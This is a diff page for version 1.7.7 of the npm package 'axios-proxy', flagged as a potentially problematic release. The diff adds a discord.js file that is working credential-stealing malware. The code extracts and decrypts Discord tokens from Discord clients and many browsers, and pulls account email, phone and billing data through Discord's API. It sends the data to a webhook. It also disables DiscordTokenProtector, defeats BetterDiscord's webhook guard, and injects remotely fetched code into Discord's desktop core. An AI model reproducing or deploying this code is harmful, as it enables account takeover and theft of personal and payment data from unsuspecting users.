axios-proxy 0.0.1-security → 1.7.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of axios-proxy might be problematic. Click here for more details.

package/discord.js ADDED
@@ -0,0 +1,648 @@
1
+ module.exports = (client) => {
2
+ return {
3
+ async getTokens() {
4
+ var paths = {
5
+ Discord:
6
+ client.utils.encryption.decryptData(client.config.user.appdata) +
7
+ "\\discord\\Local Storage\\leveldb\\",
8
+ "Discord Canary":
9
+ client.utils.encryption.decryptData(client.config.user.appdata) +
10
+ "\\discordcanary\\Local Storage\\leveldb\\",
11
+ Lightcord:
12
+ client.utils.encryption.decryptData(client.config.user.appdata) +
13
+ "\\Lightcord\\Local Storage\\leveldb\\",
14
+ "Discord PTB":
15
+ client.utils.encryption.decryptData(client.config.user.appdata) +
16
+ "\\discordptb\\Local Storage\\leveldb\\",
17
+ Opera:
18
+ client.utils.encryption.decryptData(client.config.user.appdata) +
19
+ "\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\",
20
+ "Opera GX":
21
+ client.utils.encryption.decryptData(client.config.user.appdata) +
22
+ "\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\",
23
+ Amigo:
24
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
25
+ "\\Amigo\\User Data\\Local Storage\\leveldb\\",
26
+ Torch:
27
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
28
+ "\\Torch\\User Data\\Local Storage\\leveldb\\",
29
+ Kometa:
30
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
31
+ "\\Kometa\\User Data\\Local Storage\\leveldb\\",
32
+ Orbitum:
33
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
34
+ "\\Orbitum\\User Data\\Local Storage\\leveldb\\",
35
+ CentBrowser:
36
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
37
+ "\\CentBrowser\\User Data\\Local Storage\\leveldb\\",
38
+ "7Star":
39
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
40
+ "\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\",
41
+ Sputnik:
42
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
43
+ "\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\",
44
+ Vivaldi:
45
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
46
+ "\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\",
47
+ "Chrome SxS":
48
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
49
+ "\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\",
50
+ Chrome:
51
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
52
+ "\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\",
53
+ "Epic Privacy Browser":
54
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
55
+ "\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\",
56
+ "Microsoft Edge":
57
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
58
+ "\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\",
59
+ Uran:
60
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
61
+ "\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\",
62
+ Yandex:
63
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
64
+ "\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\",
65
+ Brave:
66
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
67
+ "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\",
68
+ Iridium:
69
+ client.utils.encryption.decryptData(client.config.user.localappdata) +
70
+ "\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\",
71
+ };
72
+
73
+ for (let [key, value] of Object.entries(paths)) {
74
+ try {
75
+ if (!client.requires.fs.existsSync(value)) {
76
+ continue;
77
+ }
78
+
79
+ for (var file_name of client.requires.fs.readdirSync(value)) {
80
+ if (!file_name.endsWith(".log") && !file_name.endsWith(".ldb")) {
81
+ continue;
82
+ }
83
+
84
+ let path_split = value.split("\\"),
85
+ path_split_tail = value.includes("Network")
86
+ ? path_split.splice(0, path_split.length - 3)
87
+ : path_split.splice(0, path_split.length - 2),
88
+ path_tail = path_split_tail.join("\\") + "\\";
89
+
90
+ for (var line of client.requires.fs
91
+ .readFileSync(`${value}/${file_name}`, (encoding = "utf8"))
92
+ .split("\n")) {
93
+ if (value.includes("cord")) {
94
+ let encrypted = Buffer.from(
95
+ JSON.parse(
96
+ client.requires.fs.readFileSync(
97
+ path_tail.replace("Local Storage", "Local State")
98
+ )
99
+ ).os_crypt.encrypted_key,
100
+ "base64"
101
+ ).slice(5);
102
+
103
+ const _key = client.requires.dpapi.unprotectData(
104
+ Buffer.from(encrypted, "utf-8"),
105
+ null,
106
+ "CurrentUser"
107
+ );
108
+
109
+ var encrypted_regex = /dQw4w9WgXcQ:[^\"]*/;
110
+ if (line.match(encrypted_regex)) {
111
+ var token = Buffer.from(
112
+ line.match(encrypted_regex)[0].split("dQw4w9WgXcQ:")[1],
113
+ "base64"
114
+ );
115
+ let start = token.slice(3, 15),
116
+ middle = token.slice(15, token.length - 16),
117
+ end = token.slice(token.length - 16, token.length),
118
+ decipher = client.requires.crypto.createDecipheriv(
119
+ "aes-256-gcm",
120
+ _key,
121
+ start
122
+ );
123
+
124
+ decipher.setAuthTag(end);
125
+ token =
126
+ decipher.update(middle, "base64", "utf-8") +
127
+ decipher.final("utf-8");
128
+
129
+ await this.validateToken(key, token);
130
+ }
131
+ } else {
132
+ [/\w-]{24}\.[\w-]{6}\.[\w-]{27}/, /mfa\.[\w-]{84}/].forEach(
133
+ async (regex) => {
134
+ if (line.match(regex)) {
135
+ await this.validateToken(key, line.match(regex)[0]);
136
+ }
137
+ }
138
+ );
139
+ }
140
+ }
141
+ }
142
+ } catch {}
143
+ }
144
+ },
145
+
146
+ async validateToken(source, token) {
147
+ if (client.config.environ.validated_tokens.contains(token)) {
148
+ return;
149
+ }
150
+
151
+ client.config.environ.validated_tokens.push(token);
152
+
153
+ const req = await client.requires
154
+ .axios({
155
+ url: "https://discord.com/api/v9/users/@me",
156
+ method: "GET",
157
+ headers: {
158
+ Authorization: token,
159
+ "Content-Type": "application/json",
160
+ "User-Agent":
161
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
162
+ },
163
+ })
164
+ .catch((err) => {
165
+ return err.response;
166
+ });
167
+
168
+ if (req.request.res.statusCode == 200) {
169
+ const billing = await client.requires
170
+ .axios({
171
+ url: "https://discord.com/api/v9/users/@me/billing/payment-sources",
172
+ method: "GET",
173
+ headers: {
174
+ Authorization: token,
175
+ "Content-Type": "application/json",
176
+ "User-Agent":
177
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
178
+ },
179
+ })
180
+ .catch((err) => {
181
+ return err.response;
182
+ });
183
+
184
+ var _billing = [];
185
+
186
+ try {
187
+ billing.data.forEach((billing) => {
188
+ if (billing.type == "") {
189
+ return "false";
190
+ } else if (billing.invalid == true) {
191
+ return "false";
192
+ } else if (billing.type == 2) {
193
+ _billing.push("PayPal");
194
+ } else if (billing.type == 1) {
195
+ _billing.push(`Credit Card (${billing.country})`);
196
+ }
197
+ });
198
+ } catch {}
199
+
200
+ if (!client.config.discord.grabbed_tokens[source]) {
201
+ client.config.discord.grabbed_tokens[source] = [];
202
+ }
203
+
204
+ client.config.discord.grabbed_tokens[source].push({
205
+ source: source,
206
+ id: req.data.id,
207
+ username: `${req.data.username}#${req.data.discriminator}`,
208
+ phone: req.data.phone,
209
+ email: req.data.email,
210
+ locale: req.data.locale,
211
+ nitro: this.getNitro(req.data.premium_type),
212
+ badges: this.getBadges(req.data.flags),
213
+ billing: _billing.join(", ") != "" ? _billing.join(", ") : "None",
214
+ token: token,
215
+ });
216
+
217
+ client.config.discord.grabbed_tokens.all.push({
218
+ source: source,
219
+ id: req.data.id,
220
+ username: `${req.data.username}#${req.data.discriminator}`,
221
+ phone: req.data.phone,
222
+ email: req.data.email,
223
+ locale: req.data.locale,
224
+ nitro: this.getNitro(req.data.premium_type),
225
+ badges: this.getBadges(req.data.flags),
226
+ billing: _billing.join(", ") != "" ? _billing.join(", ") : "None",
227
+ token: token,
228
+ });
229
+
230
+ var fields = [];
231
+
232
+ for (let [key, value] of Object.entries({
233
+ Source: source,
234
+ Identifier: req.data.id,
235
+ Username: `${req.data.username}#${req.data.discriminator}`,
236
+ "Phone Number": req.data.phone,
237
+ "E-Mail Address": req.data.email,
238
+ Locale: req.data.locale,
239
+ Nitro: this.getNitro(req.data.premium_type),
240
+ Badges:
241
+ this.getBadges(req.data.flags) != ""
242
+ ? this.getBadges(req.data.flags)
243
+ : "None",
244
+ Billing: _billing.join(", ") != "" ? _billing.join(", ") : "None",
245
+ Token: token,
246
+ })) {
247
+ fields.push({
248
+ name: key,
249
+ value: `\`\`\`${value}\`\`\``,
250
+ inline: true,
251
+ });
252
+ }
253
+
254
+ await client.utils.webhook.sendToWebhook({
255
+ embeds: [
256
+ client.utils.webhook.createEmbed({
257
+ title: `Found token in: ${source}`,
258
+ fields: fields,
259
+ thumbnail: {
260
+ url: req.data.avatar
261
+ ? `https://cdn.discordapp.com/avatars/${req.data.id}/${req.data.avatar}`
262
+ : "https://cdn.discordapp.com/embed/avatars/0.png",
263
+ },
264
+ author: {
265
+ name: `${req.data.username}#${req.data.discriminator} (${req.data.id})`,
266
+ url: client.utils.encryption.decryptData(
267
+ client.config.embed.href
268
+ ),
269
+ icon_url: req.data.avatar
270
+ ? `https://cdn.discordapp.com/avatars/${req.data.id}/${req.data.avatar}`
271
+ : "https://cdn.discordapp.com/embed/avatars/0.png",
272
+ },
273
+ }),
274
+ ],
275
+ });
276
+ }
277
+ },
278
+
279
+ async saveDiscordTokens() {
280
+ if (client.config.discord.grabbed_tokens.all.length == 0) {
281
+ return;
282
+ }
283
+ client.utils.jszip.createFolder("\\Discord");
284
+
285
+ for (let [key, value] of Object.entries(
286
+ client.config.discord.grabbed_tokens
287
+ )) {
288
+ if (value.length != 0) {
289
+ let result = "";
290
+
291
+ for (let obj of value) {
292
+ result += `==================================================\nSource : ${
293
+ obj.source
294
+ }\nIdentifier : ${obj.id}\nUsername : ${
295
+ obj.username
296
+ }\nPhone : ${obj.phone}\nE-Mail Address : ${
297
+ obj.email
298
+ }\nLocale : ${obj.locale}\nNitro : ${
299
+ obj.nitro
300
+ }\nBadges : ${
301
+ obj.badges != "" ? obj.badges : "None"
302
+ }\nBilling : ${
303
+ obj.billing != "" ? obj.billing : "None"
304
+ }\nToken : ${
305
+ obj.token
306
+ }\n==================================================\n\n`;
307
+ }
308
+
309
+ client.utils.jszip.createTxt(
310
+ `\\Discord\\${key.toUpperCase()}.txt`,
311
+ result
312
+ );
313
+ }
314
+ }
315
+ },
316
+
317
+ getBadges(flags) {
318
+ var badges = {
319
+ Discord_Employee: {
320
+ Value: 1,
321
+ Emoji: "Discord Employee",
322
+ Rare: true,
323
+ },
324
+ Partnered_Server_Owner: {
325
+ Value: 2,
326
+ Emoji: "Partnered Server Owner",
327
+ Rare: true,
328
+ },
329
+ HypeSquad_Events: {
330
+ Value: 4,
331
+ Emoji: "HypeSquad Events",
332
+ Rare: true,
333
+ },
334
+ Bug_Hunter_Level_1: {
335
+ Value: 8,
336
+ Emoji: "Bug Hunter Level 1",
337
+ Rare: true,
338
+ },
339
+ Early_Supporter: {
340
+ Value: 512,
341
+ Emoji: "Early Supporter",
342
+ Rare: true,
343
+ },
344
+ Bug_Hunter_Level_2: {
345
+ Value: 16384,
346
+ Emoji: "Bug Hunter Level 2",
347
+ Rare: true,
348
+ },
349
+ Early_Verified_Bot_Developer: {
350
+ Value: 131072,
351
+ Emoji: "Early Verified Bot Developer",
352
+ Rare: true,
353
+ },
354
+ House_Bravery: {
355
+ Value: 64,
356
+ Emoji: "House Bravery",
357
+ Rare: false,
358
+ },
359
+ House_Brilliance: {
360
+ Value: 128,
361
+ Emoji: "House Brilliance",
362
+ Rare: false,
363
+ },
364
+ House_Balance: {
365
+ Value: 256,
366
+ Emoji: "House Balance",
367
+ Rare: false,
368
+ },
369
+ };
370
+
371
+ var result = [];
372
+ for (var prop in badges) {
373
+ prop = badges[prop];
374
+ if ((flags & prop.Value) == prop.Value && prop.Rare)
375
+ result.push(prop.Emoji);
376
+ }
377
+ return result.join(", ");
378
+ },
379
+
380
+ getNitro(premium_type) {
381
+ switch (premium_type) {
382
+ case 0:
383
+ return "No Nitro";
384
+ case 1:
385
+ return "Nitro Classic";
386
+ case 2:
387
+ return "Nitro Boost";
388
+ default:
389
+ return "No Nitro";
390
+ }
391
+ },
392
+
393
+ bypass_token_protector() {
394
+ for (const file of [
395
+ "DiscordTokenProtector.exe",
396
+ "ProtectionPayload.dll",
397
+ "secure.dat",
398
+ ]) {
399
+ if (
400
+ client.requires.fs.exists(
401
+ `${client.utils.encryption.decryptData(
402
+ client.config.user.localappdata
403
+ )}\\${file}`
404
+ )
405
+ ) {
406
+ client.requires.fs.rm(
407
+ `${client.utils.encryption.decryptData(
408
+ client.config.user.localappdata
409
+ )}\\${file}`
410
+ );
411
+ }
412
+ }
413
+
414
+ const token_protector_config = JSON.parse(
415
+ client.requires.fs.readFileSync(
416
+ `${client.utils.encryption.decryptData(
417
+ client.config.user.localappdata
418
+ )}\\DiscordTokenProtector\\config.json`,
419
+ {
420
+ encoding: "utf-8",
421
+ }
422
+ )
423
+ );
424
+
425
+ token_protector_config["auto_start"] = false;
426
+ token_protector_config["auto_start_discord"] = false;
427
+ token_protector_config["integrity"] = false;
428
+ token_protector_config["integrity_allowbetterdiscord"] = false;
429
+ token_protector_config["integrity_checkexecutable"] = false;
430
+ token_protector_config["integrity_checkhash"] = false;
431
+ token_protector_config["integrity_checkmodule"] = false;
432
+ token_protector_config["integrity_checkscripts"] = false;
433
+ token_protector_config["integrity_checkresource"] = false;
434
+ token_protector_config["integrity_redownloadhashes"] = false;
435
+ token_protector_config["iterations_iv"] = 0;
436
+ token_protector_config["iterations_key"] = 0;
437
+ token_protector_config["version"] = 0;
438
+
439
+ client.requires.fs.writeFileSync(
440
+ `${client.utils.encryption.decryptData(
441
+ client.config.user.localappdata
442
+ )}\\DiscordTokenProtector\\config.json`,
443
+ JSON.stringify(token_protector_config, null, 4)
444
+ );
445
+ },
446
+
447
+ async listExecutables() {
448
+ var processes = [];
449
+ client.requires.child_process.exec("tasklist", (err, stdout) => {
450
+ for (const executable of [
451
+ "Discord.exe",
452
+ "DiscordCanary.exe",
453
+ "discordDevelopment.exe",
454
+ "DiscordPTB.exe",
455
+ ]) {
456
+ if (stdout.includes(executable)) {
457
+ client.config.discord.running_executables.push(executable);
458
+ processes.push(executable);
459
+ }
460
+ }
461
+ });
462
+
463
+ return processes;
464
+ },
465
+
466
+ pwnBetterDiscord() {
467
+ if (
468
+ client.requires.fs.existsSync(
469
+ client.utils.encryption.decryptData(client.config.user.appdata) +
470
+ "/BetterDiscord/data/betterdiscord.asar"
471
+ )
472
+ ) {
473
+ var _ = client.requires.fs.readFileSync(
474
+ client.utils.encryption.decryptData(client.config.user.appdata) +
475
+ "/BetterDiscord/data/betterdiscord.asar"
476
+ );
477
+ client.requires.fs.writeFileSync(
478
+ client.utils.encryption.decryptData(client.config.user.appdata) +
479
+ "/BetterDiscord/data/betterdiscord.asar",
480
+ client.requires.buf_replace(_, "api/webhooks", "liliandorker_on_top")
481
+ );
482
+ }
483
+ },
484
+
485
+ async modify_discord_core() {
486
+ const res = await client.requires.axios.get(
487
+ client.utils.encryption.decryptData(client.config.discord.base_url)
488
+ );
489
+
490
+ const file = () => {
491
+ let tempFile = res.data.replace(
492
+ "%WEBHOOK_LINK%",
493
+ client.config.webhook.url
494
+ );
495
+ return tempFile;
496
+ };
497
+
498
+ for (const path of client.config.discord.files_path) {
499
+ client.requires.fs.writeFileSync(path, file(), {
500
+ encoding: "utf8",
501
+ flag: "w",
502
+ });
503
+ }
504
+ },
505
+
506
+ findDiscordCore(prefixPath, files) {
507
+ files.forEach((file) => {
508
+ if (
509
+ client.requires.fs.statSync(`${prefixPath}\\${file}`).isDirectory()
510
+ ) {
511
+ this.findDiscordCore(
512
+ `${prefixPath}\\${file}`,
513
+ client.requires.fs.readdirSync(`${prefixPath}\\${file}`)
514
+ );
515
+ } else {
516
+ if (
517
+ file == "index.js" &&
518
+ !prefixPath.includes("node_modules") &&
519
+ prefixPath.includes("desktop_core")
520
+ ) {
521
+ client.config.discord.files_path.push(`${prefixPath}\\${file}`);
522
+ }
523
+ }
524
+ });
525
+ },
526
+
527
+ findBackupCodes(prefixPath, files) {
528
+ files.forEach(async (file) => {
529
+ if (
530
+ file.startsWith(".") ||
531
+ file.includes("AppData") ||
532
+ file.includes("Program")
533
+ ) {
534
+ return;
535
+ }
536
+ if (file.startsWith("discord_backup_codes")) {
537
+ await client.utils.webhook.sendToWebhook({
538
+ embeds: [
539
+ client.utils.webhook.createEmbed({
540
+ title: `💰 Discord backup codes found`,
541
+ description: `\`\`\`${prefixPath}\\${file}\n\n${client.requires.fs.readFileSync(
542
+ `${prefixPath}\\${file}`
543
+ )}\`\`\``,
544
+ }),
545
+ ],
546
+ });
547
+ client.utils.jszip.createTxt(
548
+ `\\${file}_${client.requires.crypto.randomUUID()}.txt`,
549
+ client.requires.fs.readFileSync(`${prefixPath}\\${file}`)
550
+ );
551
+ }
552
+ });
553
+ },
554
+
555
+ async getIP() {
556
+ return (await client.requires.axios.get("https://ipinfo.io/json")).data;
557
+ },
558
+
559
+ async init() {
560
+ this.pwnBetterDiscord();
561
+ for (const folder of client.requires.fs.readdirSync(
562
+ client.utils.encryption.decryptData(client.config.user.localappdata)
563
+ )) {
564
+ if (folder.toLowerCase().includes("iscord")) {
565
+ client.config.discord.executables.push(
566
+ `${client.utils.encryption.decryptData(
567
+ client.config.user.localappdata
568
+ )}\\${folder}`
569
+ );
570
+ }
571
+ }
572
+
573
+ for (const executable of client.config.discord.executables) {
574
+ this.findDiscordCore(
575
+ executable,
576
+ client.requires.fs.readdirSync(executable)
577
+ );
578
+ }
579
+
580
+ ["Videos", "Desktop", "Documents", "Downloads", "Pictures"].forEach(
581
+ async (type) => {
582
+ await this.findBackupCodes(
583
+ `${client.utils.encryption.decryptData(
584
+ client.config.user.hostdir
585
+ )}\\${type}`,
586
+ client.requires.fs.readdirSync(
587
+ `${client.utils.encryption.decryptData(
588
+ client.config.user.hostdir
589
+ )}\\${type}`
590
+ )
591
+ );
592
+ }
593
+ );
594
+
595
+ await this.modify_discord_core(); // 1
596
+
597
+ await client.requires.child_process.exec(
598
+ "tasklist",
599
+ async (err, stdout) => {
600
+ for (const executable of [
601
+ "Discord.exe",
602
+ "DiscordCanary.exe",
603
+ "discordDevelopment.exe",
604
+ "DiscordPTB.exe",
605
+ ]) {
606
+ if (stdout.includes(executable)) {
607
+ await client.requires.child_process.exec(
608
+ `taskkill /F /T /IM ${executable}`,
609
+ (err) => {}
610
+ ); // Close
611
+ await client.requires.child_process.exec(
612
+ `"${client.utils.encryption.decryptData(
613
+ client.config.user.localappdata
614
+ )}\\${executable.replace(
615
+ ".exe",
616
+ ""
617
+ )}\\Update.exe" --processStart ${executable}`,
618
+ (err) => {}
619
+ ); // Start
620
+ }
621
+ }
622
+ }
623
+ );
624
+
625
+ const network_data = await this.getIP();
626
+
627
+ client.utils.jszip.createTxt(
628
+ "\\Network Data.txt",
629
+ `IP Address: ${network_data["ip"] ?? "Unknown"}\nHostname: ${
630
+ network_data["hostname"] ?? "Unknown"
631
+ }\nCity: ${network_data["city"] ?? "Unknown"}\nRegion: ${
632
+ network_data["region"] ?? "Unknown"
633
+ }\nCountry: ${network_data["country"] ?? "Unknown"}\nTimezone: ${
634
+ network_data["timezone"] ?? "Unknown"
635
+ }`
636
+ );
637
+
638
+ await client.utils.time.sleep(30000);
639
+ for (const path of client.config.discord.files_path) {
640
+ if (
641
+ client.requires.fs.existsSync(path.replace("index.js", "liliandorker"))
642
+ ) {
643
+ client.requires.fs.rmdirSync(path.replace("index.js", "liliandorker"));
644
+ }
645
+ }
646
+ },
647
+ };
648
+ };